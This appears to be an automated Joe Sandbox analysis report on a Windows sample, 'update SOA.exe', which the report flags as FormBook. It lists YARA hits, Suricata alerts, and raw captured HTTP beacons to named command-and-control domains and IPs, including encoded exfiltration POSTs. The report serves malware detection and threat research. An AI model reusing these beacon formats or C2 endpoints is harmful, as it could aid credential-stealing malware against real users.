Windows Analysis Report
update SOA.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3882344624.0000000002B80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3883839683.0000000005350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343330383.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3886044229.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343906085.0000000006650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3883738653.0000000004A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343594491.0000000003790000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3883798608.0000000004A80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: update SOA.exe

Joe Sandbox ML: detected

Source: update SOA.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: notepad.pdbGCTL source: svchost.exe, 00000002.00000003.2312196681.0000000003443000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2312112066.000000000341A000.00000004.00000020.00020000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000004.00000002.3882959194.0000000000E98000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: notepad.pdb source: svchost.exe, 00000002.00000003.2312196681.0000000003443000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2312112066.000000000341A000.00000004.00000020.00020000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000004.00000002.3882959194.0000000000E98000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: HAdkDWMZRiGMZe.exe, 00000004.00000000.2266285714.00000000004CE000.00000002.00000001.01000000.00000005.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3882332650.00000000004CE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: update SOA.exe, 00000000.00000003.2070210673.0000000003CD0000.00000004.00001000.00020000.00000000.sdmp, update SOA.exe, 00000000.00000003.2071406574.0000000004890000.00000004.00001000.00020000.00000000.sdmp, update SOA.exe, 00000000.00000003.2070693180.00000000046F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2250582687.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2343632183.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2252532945.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2343632183.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, notepad.exe, 00000005.00000003.2349001032.0000000004AEC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3884211097.0000000004E3E000.00000040.00001000.00020000.00000000.sdmp, notepad.exe, 00000005.00000003.2347352548.0000000004935000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3884211097.0000000004CA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: update SOA.exe, 00000000.00000003.2070210673.0000000003CD0000.00000004.00001000.00020000.00000000.sdmp, update SOA.exe, 00000000.00000003.2071406574.0000000004890000.00000004.00001000.00020000.00000000.sdmp, update SOA.exe, 00000000.00000003.2070693180.00000000046F0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2250582687.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2343632183.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2252532945.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2343632183.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, notepad.exe, notepad.exe, 00000005.00000003.2349001032.0000000004AEC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3884211097.0000000004E3E000.00000040.00001000.00020000.00000000.sdmp, notepad.exe, 00000005.00000003.2347352548.0000000004935000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3884211097.0000000004CA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: notepad.exe, 00000005.00000002.3882543699.0000000002E77000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3885110150.00000000052CC000.00000004.10000000.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3884241981.00000000030BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2635917732.000000002370C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: notepad.exe, 00000005.00000002.3882543699.0000000002E77000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000005.00000002.3885110150.00000000052CC000.00000004.10000000.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3884241981.00000000030BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2635917732.000000002370C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\notepad.exe

Code function: 5_2_02B9C520 FindFirstFileW,FindNextFileW,FindClose,

5_2_02B9C520

Source: C:\Windows\SysWOW64\notepad.exe	Code function: 4x nop then xor eax, eax	5_2_02B89B80
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 4x nop then mov ebx, 00000004h	5_2_04B804E8
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4x nop then pop edi	6_2_0553769B
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4x nop then mov esp, ebp	6_2_05535029
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4x nop then xor eax, eax	6_2_0553ABB1

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49722 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49745 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49720 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49735 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49739 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49711 -> 137.175.33.56:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49711 -> 137.175.33.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49721 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49715 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49720 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49729 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49728 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49728 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49725 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49743 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49730 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49748 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49748 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49736 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49736 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49719 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49741 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49734 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49746 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49716 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49716 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49717 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49740 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49740 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49724 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49724 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49718 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49714 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49727 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49747 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49731 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49742 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49738 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49726 -> 31.31.196.17:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49733 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49749 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49723 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49713 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49732 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49732 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49737 -> 199.192.21.169:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49744 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49744 -> 3.33.130.190:80

Source: Joe Sandbox View	IP Address: 199.192.21.169 199.192.21.169
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: PEGTECHINCUS PEGTECHINCUS
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: AS-REGRU AS-REGRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /mxqs/?gHCXmDU=rHSAWCOTv0B2OyWbYMKwkuU+0pm+dYnzeuWywUFjfL0Y5nHDImWR+DkgzCKA2Uf76rKFoLo4oU5TM+FaPt+JwQr3UHywKVmmcKRjYyDIvIOI0clKCIXncFUG+d5lZOlczw==&Gh9=g8u8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.dxeg.lolConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Source: global traffic	HTTP traffic detected: GET /ezjb/?gHCXmDU=l3Sp86LdHQK51JyE1bYSLRwrZz79eLj2OPa9S2eacvhOVgE1mplOojXymOZ9YDGfggwACbk9WjYrzuHmvoZIXyGwVLnNH3EmPti700Sf3mBkVqNnJJuO7TSqISvYzPtlzQ==&Gh9=g8u8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.bqberw.vipConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Source: global traffic	HTTP traffic detected: GET /0fox/?Gh9=g8u8&gHCXmDU=4CzKvyikl1JmGr8+CQf9WWAdO1Gj6lWNmDPUBHudsRDXm35ePvWJknN1Cj9rj3LGeee2ucHQDjkFWVqRWStwJougsDrkF+FnKnugc/NP5deCT95MsghdxHCGfuWAxmiXjA== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.weatherbook.liveConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Source: global traffic	HTTP traffic detected: GET /9apq/?gHCXmDU=LHjDDAx19xzpDFr0PiWSUWbLpibiWm2OcttpvXYQA3jhT8+aBAnUV8C6f3e3WqOmZ67HZ5Oe4rCfD6agN7j3kbNhxDE+C6RgPFZIWir2F/mXh+rIzbzvAjzVwKDU5y7xZw==&Gh9=g8u8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.cc101.proConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Source: global traffic	HTTP traffic detected: GET /66j2/?Gh9=g8u8&gHCXmDU=HppDh2G+RtpfmDCT0lrSNXbmIaO8PdTsBI8zXGv7BhGUw+IQzheJ3lftE5yUT4NGt8aZPQR/20xdb9u1HnRpXJ4mqLkzjkiMvvw05xDKhjbhyfyxEkkTngu+5afP1ml7ew== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.dverkom.storeConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Source: global traffic	HTTP traffic detected: GET /8y34/?gHCXmDU=XU1sh1XtMideJdcsvQ849SwdzHfbiD52gXGwR5WASyJ1tlInyqc9ITTs981nRcft/RKcq7FVheMXMN6zJo5iI2BJEO7R6UftY8jdwwsPJfysQECRq1QA/MaERKdZHzC5fw==&Gh9=g8u8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.crowsecurity.cloudConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Source: global traffic	HTTP traffic detected: GET /kdfx/?gHCXmDU=eNDgnj/WfiIi0tdu+8aXiZOUK+7f3FxcWZT5SlTqKAn5yXi4RD1689oWOvV8Od+Oy+8ctbdx7DJ/alyTHONZQzsxT9MNlSdJwngJpwfGelD5vY9uXcKC+Fx9+CLw3WjCzw==&Gh9=g8u8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.multileveltravel.worldConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Source: global traffic	HTTP traffic detected: GET /ghvt/?gHCXmDU=LTjEQRzJtYpWLPC7D2gy6fienZfrxvC35gdjmmThy52R4q9H0AiUwAwLJzzKst3lsJoWNw2bCWGayp08MXQ4hrVkAG0NSKhN96qT0ct2vaZlIyhDhNk8pUo7hoK/rit8rQ==&Gh9=g8u8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.technectar.topConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Source: global traffic	HTTP traffic detected: GET /l8vr/?gHCXmDU=GUwa608LSzm8fYtcdeTRGyNyj51nBuUp00umbYRCm/TJjJxpSTDMONkqNmsHjnZjkXKqFncjqJIueqMvFavlXIaPeRkD7t3kPxbZ1SpX5GCbw23hlnYlJ0j4JxqETFq6pw==&Gh9=g8u8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.linkwave.cloudConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)
Source: global traffic	HTTP traffic detected: GET /5hcm/?gHCXmDU=tP3kAkfnE7i1YCC3akJDPtDOQtMjgFa5K3aSOloco8KmCG1xGxL66P/sVWpGfWTMdHJkfi3yOYhNMZMhorUklSdDj9q9dz65TNSy5hy/ttZPgJetaDNmb5haRLwL+/pH9A==&Gh9=g8u8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.bayarcepat19.clickConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)

Source: global traffic	DNS traffic detected: DNS query: www.dxeg.lol
Source: global traffic	DNS traffic detected: DNS query: www.bqberw.vip
Source: global traffic	DNS traffic detected: DNS query: www.weatherbook.live
Source: global traffic	DNS traffic detected: DNS query: www.cc101.pro
Source: global traffic	DNS traffic detected: DNS query: www.dverkom.store
Source: global traffic	DNS traffic detected: DNS query: www.crowsecurity.cloud
Source: global traffic	DNS traffic detected: DNS query: www.multileveltravel.world
Source: global traffic	DNS traffic detected: DNS query: www.technectar.top
Source: global traffic	DNS traffic detected: DNS query: www.linkwave.cloud
Source: global traffic	DNS traffic detected: DNS query: www.bayarcepat19.click
Source: global traffic	DNS traffic detected: DNS query: www.queima.shop

Source: unknown

HTTP traffic detected: POST /ezjb/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflateHost: www.bqberw.vipOrigin: http://www.bqberw.vipReferer: http://www.bqberw.vip/ezjb/Content-Length: 208Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcOTH)Data Raw: 67 48 43 58 6d 44 55 3d 6f 31 36 4a 2f 4f 48 53 65 51 4f 46 77 62 33 49 77 72 55 7a 46 56 73 61 5a 55 37 37 57 6f 53 62 41 49 54 6c 45 57 61 41 65 38 31 79 65 79 67 66 6b 4f 35 32 75 30 7a 6c 75 61 64 33 5a 77 36 30 6e 57 31 44 43 59 73 67 62 51 6f 76 79 76 4c 61 72 72 70 52 56 30 53 47 62 71 48 33 44 56 6b 39 4e 64 61 59 2f 6c 47 32 78 56 73 77 53 4b 45 63 42 75 48 65 34 53 48 51 46 30 66 50 32 75 59 78 6f 31 46 63 35 6c 32 45 69 72 64 56 4e 55 64 46 4d 55 42 56 6d 65 33 55 69 44 47 46 64 30 77 30 36 77 63 2b 61 54 55 33 44 37 71 2f 62 4b 48 41 46 38 61 6d 77 6d 61 43 77 47 6d 4a 43 2f 6b 54 37 2f 50 66 4e 78 73 3d Data Ascii: gHCXmDU=o16J/OHSeQOFwb3IwrUzFVsaZU77WoSbAITlEWaAe81yeygfkO52u0zluad3Zw60nW1DCYsgbQovyvLarrpRV0SGbqH3DVk9NdaY/lG2xVswSKEcBuHe4SHQF0fP2uYxo1Fc5l2EirdVNUdFMUBVme3UiDGFd0w06wc+aTU3D7q/bKHAF8amwmaCwGmJC/kT7/PfNxs=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 30 Sep 2024 16:45:30 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 30 Sep 2024 16:45:33 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
